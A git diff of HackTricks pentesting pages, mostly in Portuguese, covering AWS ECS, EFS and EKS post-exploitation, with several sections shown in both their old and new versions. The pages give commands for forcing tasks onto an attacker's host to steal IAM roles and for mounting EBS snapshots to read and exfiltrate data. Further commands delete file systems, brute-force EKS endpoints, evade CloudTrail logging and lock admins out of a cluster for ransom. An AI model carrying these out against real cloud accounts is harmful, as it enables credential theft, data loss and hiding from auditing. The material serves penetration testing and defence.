aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará as tarefas a serem executadas em outras instâncias:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Uma técnica final para forçar a reexecução de tarefas é indicando ao ECS que a **tarefa ou contêiner foi parado**. Existem 3 APIs potenciais para fazer isso:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Roubar informações sensíveis de contêineres ECR
|
||||
|
||||
A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar informações sensíveis nelas).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,128 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
No ECS uma **IAM role pode ser atribuída à task** que está sendo executada dentro do container. **If** a task for executada dentro de uma **EC2** instance, a **EC2 instance** terá **outra IAM** role anexada a ela.\
|
||||
O que significa que se você conseguir **compromise** uma instância ECS você pode potencialmente **obter a IAM role associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais veja:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que se a EC2 instance estiver forçando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **response of the PUT request** terá um **hop limit of 1**, tornando impossível acessar o EC2 metadata a partir de um container dentro da EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Além disso, o EC2 usa docker para executar tasks do ECS, então se você conseguir **escape to the node** ou **access the docker socket**, você pode **verificar** quais **outros containers** estão sendo executados, e até **entrar neles** e **steal their IAM roles** anexadas.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Além do mais, a **EC2 instance role** normalmente terá **permissions** suficientes para **update the container instance state** das EC2 instances sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o **state of an instance to DRAINING**, então o ECS irá **remover todas as tasks dela** e as que estão sendo executadas como **REPLICA** serão **run in a different instance**, potencialmente dentro da **instance do atacante**, para que ele possa **steal their IAM roles** e possíveis informações sensíveis de dentro do container.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
A mesma técnica pode ser feita ao **desregistrar a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará que as tasks sejam executadas em outras instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parada**. Existem 3 APIs potenciais para isso:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
|
||||
|
||||
- Requer (mínimo):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Um dos: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole em:
|
||||
- ECS infrastructure role usada para volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenciadas pela task definition
|
||||
- Se o snapshot estiver criptografado com uma CMK: permissões KMS para a infra role (a AWS managed policy acima inclui os KMS grants necessários para AWS managed keys).
|
||||
|
||||
- Impacto: Ler conteúdos arbitrários do disco do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltrate via network/logs.
|
||||
|
||||
Passos (exemplo Fargate):
|
||||
|
||||
1) Crie a ECS infrastructure role (se não existir) e anexe a managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registre uma definição de tarefa com um volume marcado como `configuredAtLaunch` e monte-o no container. Exemplo (imprime o segredo e depois dorme):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Crie ou atualize um serviço passando o snapshot do EBS via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na role de infraestrutura). Exemplo:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Quando a task é iniciada, o container pode ler o conteúdo do snapshot no mount path configurado (por exemplo, `/loot`). Exfiltrate através do network/logs da task.
|
||||
|
||||
Limpeza:
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
@@ -1,34 +1,34 @@
|
||||
# AWS - EFS Pós Exploração
|
||||
# AWS - EFS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `elasticfilesystem:DeleteMountTarget`
|
||||
|
||||
Um atacante poderia deletar um alvo de montagem, potencialmente interrompendo o acesso ao sistema de arquivos EFS para aplicações e usuários que dependem desse alvo de montagem.
|
||||
Um attacker poderia excluir um mount target, potencialmente interrompendo o acesso ao EFS file system para aplicações e usuários que dependem desse mount target.
|
||||
```sql
|
||||
aws efs delete-mount-target --mount-target-id <value>
|
||||
```
|
||||
**Impacto Potencial**: Interrupção do acesso ao sistema de arquivos e potencial perda de dados para usuários ou aplicativos.
|
||||
**Impacto Potencial**: Disrupção do acesso ao sistema de arquivos e possível perda de dados para usuários ou aplicações.
|
||||
|
||||
### `elasticfilesystem:DeleteFileSystem`
|
||||
|
||||
Um atacante poderia deletar um sistema de arquivos EFS inteiro, o que poderia levar à perda de dados e impactar aplicativos que dependem do sistema de arquivos.
|
||||
Um atacante poderia excluir um sistema de arquivos EFS inteiro, o que pode levar à perda de dados e afetar aplicações que dependem desse sistema de arquivos.
|
||||
```perl
|
||||
aws efs delete-file-system --file-system-id <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de dados e interrupção de serviço para aplicações que utilizam o sistema de arquivos excluído.
|
||||
**Impacto Potencial**: Perda de dados e interrupção de serviço para aplicações que usam o sistema de arquivos excluído.
|
||||
|
||||
### `elasticfilesystem:UpdateFileSystem`
|
||||
|
||||
Um atacante poderia atualizar as propriedades do sistema de arquivos EFS, como o modo de throughput, para impactar seu desempenho ou causar exaustão de recursos.
|
||||
Um atacante poderia atualizar as propriedades do sistema de arquivos EFS, como o modo de throughput, para impactar seu desempenho ou causar esgotamento de recursos.
|
||||
```sql
|
||||
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
|
||||
```
|
||||
@@ -36,11 +36,11 @@ aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-
|
||||
|
||||
### `elasticfilesystem:CreateAccessPoint` e `elasticfilesystem:DeleteAccessPoint`
|
||||
|
||||
Um atacante poderia criar ou excluir pontos de acesso, alterando o controle de acesso e potencialmente concedendo a si mesmo acesso não autorizado ao sistema de arquivos.
|
||||
Um atacante poderia criar ou excluir pontos de acesso, alterando o controle de acesso e potencialmente obtendo acesso não autorizado ao sistema de arquivos.
|
||||
```arduino
|
||||
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
|
||||
aws efs delete-access-point --access-point-id <value>
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado ao sistema de arquivos, exposição ou modificação de dados.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,143 +0,0 @@
|
||||
# AWS - EKS Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Para mais informações, consulte
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerar o cluster a partir do Console AWS
|
||||
|
||||
Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **visualizar objetos Kubernetes** através do console AWS EKS ([Saiba mais](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Conectar ao Cluster Kubernetes da AWS
|
||||
|
||||
- Maneira fácil:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Não é tão fácil assim:
|
||||
|
||||
Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tiver permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url do endpoint para se conectar** (se você conseguiu obter um token JWT de um pod leia [aqui](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
|
||||
|
||||
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **encontrai no userData dos LaunchTemplates** e nas **máquinas EC2 no userData também**. Você pode ver essas informações no **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### De AWS para Kubernetes
|
||||
|
||||
O **criador** do **cluster EKS** **SEMPRE** poderá acessar a parte do cluster kubernetes do grupo **`system:masters`** (admin k8s). No momento da redação, não há **nenhuma maneira direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E não há **como** **remover** esse **privilégio**.
|
||||
|
||||
A maneira de conceder **acesso a mais usuários ou funções do AWS IAM** sobre o K8s é usando o **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, qualquer pessoa com **acesso de escrita** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
|
||||
|
||||
Para mais informações sobre como **conceder privilégios extras a funções e usuários IAM** na **mesma ou em contas diferentes** e como **abusar** disso, [**verifique esta página**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Confira também [**este post incrível**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **para aprender como a autenticação IAM -> Kubernetes funciona**.
|
||||
|
||||
### De Kubernetes para AWS
|
||||
|
||||
É possível permitir uma **autenticação OpenID para a conta de serviço kubernetes** para permitir que elas assumam funções na AWS. Aprenda como [**isso funciona nesta página**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### OBTER Endpoint do Api Server a partir de um Token JWT
|
||||
|
||||
Decodificando o token JWT, obtemos o id do cluster e também a região.  Sabendo que o formato padrão para a URL do EKS é
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Não encontrei nenhuma documentação que explique os critérios para os 'dois caracteres' e o 'número'. Mas fazendo alguns testes por conta própria, vejo que esses se repetem:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
De qualquer forma, são apenas 3 caracteres que podemos fazer brute force. Use o script abaixo para gerar a lista.
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
|
||||
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
|
||||
number_combinations = product('0123456789', repeat = 1)
|
||||
|
||||
result = [
|
||||
f'{''.join(comb[0])}{comb[1][0]}'
|
||||
for comb in product(letter_combinations, number_combinations)
|
||||
]
|
||||
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Então com wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Lembre-se de substituir & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
Se um atacante obtiver credenciais de um AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a API da AWS (apenas cria o token localmente).
|
||||
|
||||
Assim, quando o atacante se comunica com o cluster EKS, **o cloudtrail não registrará nada relacionado ao usuário sendo roubado e acessando-o**.
|
||||
|
||||
Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, estejam desativados).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Por padrão, o **usuário ou função que criou** um cluster **SEMPRE terá privilégios de administrador** sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
|
||||
|
||||
Portanto, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros administradores** e **deletar o usuário/função da AWS que criou** o Cluster, ~~o atacante poderia ter **rendido o cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Note que se o cluster estiver usando **EC2 VMs**, pode ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
|
||||
>
|
||||
> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 para o cluster e recuperá-lo acessando os tokens no node.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,143 @@
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EKS
|
||||
|
||||
Para mais informações, veja
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumerar o cluster pelo AWS Console
|
||||
|
||||
Se você tem a permissão **`eks:AccessKubernetesApi`**, você pode **visualizar objetos do Kubernetes** via AWS EKS console ([Saiba mais](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Conectar ao AWS Kubernetes Cluster
|
||||
|
||||
- Maneira fácil:
|
||||
```bash
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Não é tão simples:
|
||||
|
||||
Se você consegue **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tem permissões para obter informações do cluster (describeCluster), você pode **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa do **endpoint URL para se conectar** (se você conseguiu um JWT token de um pod leia [aqui](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e do **nome do cluster**.
|
||||
|
||||
No meu caso, não encontrei as informações nos logs do CloudWatch, mas eu **as encontrei em LaunchTemaplates userData** e também em **máquinas EC2 no userData**. Você pode ver essas informações no **userData** facilmente, por exemplo no exemplo abaixo (o nome do cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>kube config</summary>
|
||||
```yaml
|
||||
describe-cache-parametersapiVersion: v1
|
||||
clusters:
|
||||
- cluster:
|
||||
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
|
||||
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
contexts:
|
||||
- context:
|
||||
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
kind: Config
|
||||
preferences: {}
|
||||
users:
|
||||
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
|
||||
user:
|
||||
exec:
|
||||
apiVersion: client.authentication.k8s.io/v1beta1
|
||||
args:
|
||||
- --region
|
||||
- us-west-2
|
||||
- --profile
|
||||
- <profile>
|
||||
- eks
|
||||
- get-token
|
||||
- --cluster-name
|
||||
- <cluster-name>
|
||||
command: aws
|
||||
env: null
|
||||
interactiveMode: IfAvailable
|
||||
provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### From AWS to Kubernetes
|
||||
|
||||
O **criador** do **EKS cluster** **sempre** terá acesso à parte do kubernetes pertencente ao grupo **`system:masters`** (k8s admin). No momento desta escrita não existe **uma forma direta** de descobrir **quem criou** o cluster (você pode checar CloudTrail). E **não há como** **remover** esse **privilégio**.
|
||||
|
||||
A forma de conceder **acesso ao K8s para mais AWS IAM users or roles** é usando o **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, qualquer pessoa com **write access** sobre o config map **`aws-auth`** poderá **comprometer todo o cluster**.
|
||||
|
||||
Para mais informações sobre como **conceder privilégios extras a IAM roles & users** na **mesma ou em outra conta** e como **abusar** disso veja [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Confira também[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post para aprender como a autenticação IAM -> Kubernetes funciona**.
|
||||
|
||||
### De Kubernetes para AWS
|
||||
|
||||
É possível permitir uma **OpenID authentication para kubernetes service account** para que elas possam assumir roles na AWS. Saiba como [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
